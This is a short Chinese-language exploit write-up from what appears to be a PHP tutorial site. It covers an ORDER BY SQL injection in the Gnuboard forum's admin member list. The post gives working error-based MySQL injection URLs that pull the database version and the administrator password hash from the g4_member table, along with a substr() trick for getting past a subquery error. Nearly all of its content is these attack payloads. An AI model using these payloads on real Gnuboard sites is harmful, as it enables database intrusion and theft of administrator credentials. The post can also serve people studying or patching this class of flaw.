来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] kr比较流行的bbs。只是后台注入思密达~此注入属于order by后的注入。可通过order by a,(select语句)执行。此时,括号内的select语句仅当做一个子查询进行使用,当语句语法正确时返回正常页...
kr比较流行的bbs。只是后台注入思密达~
此注入属于order by后的注入。可通过order by a,(select语句)执行。此时,括号内的select语句仅当做一个子查询进行使用,当语句语法正确时返回正常页面,无法获取数据。
此时我们可以使用mysql报错注入来获取数据。如:
http://127.0.0.1/gnuboard/adm/member_list.php?sst=mb_intercept_date,((select+1+from+(select+count(*),concat((select version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)>0)
获取管理员密码:
http://127.0.0.1/gnuboard/adm/member_list.php?sst=mb_intercept_date,((select+1+from+(select+count(*),concat((select mb_password from g4_member limit 0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)>0)
当执行以上语句的时候,错误提示为:
1242 : Subquery returns more than 1 row
原因:
此语句默认读取长度为65位,而mb_password为varchar类型,长度为255。此时我们使用substr()函数来限制读取长度。即:substr(mb_password,1,55) 即可获取管理密码。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com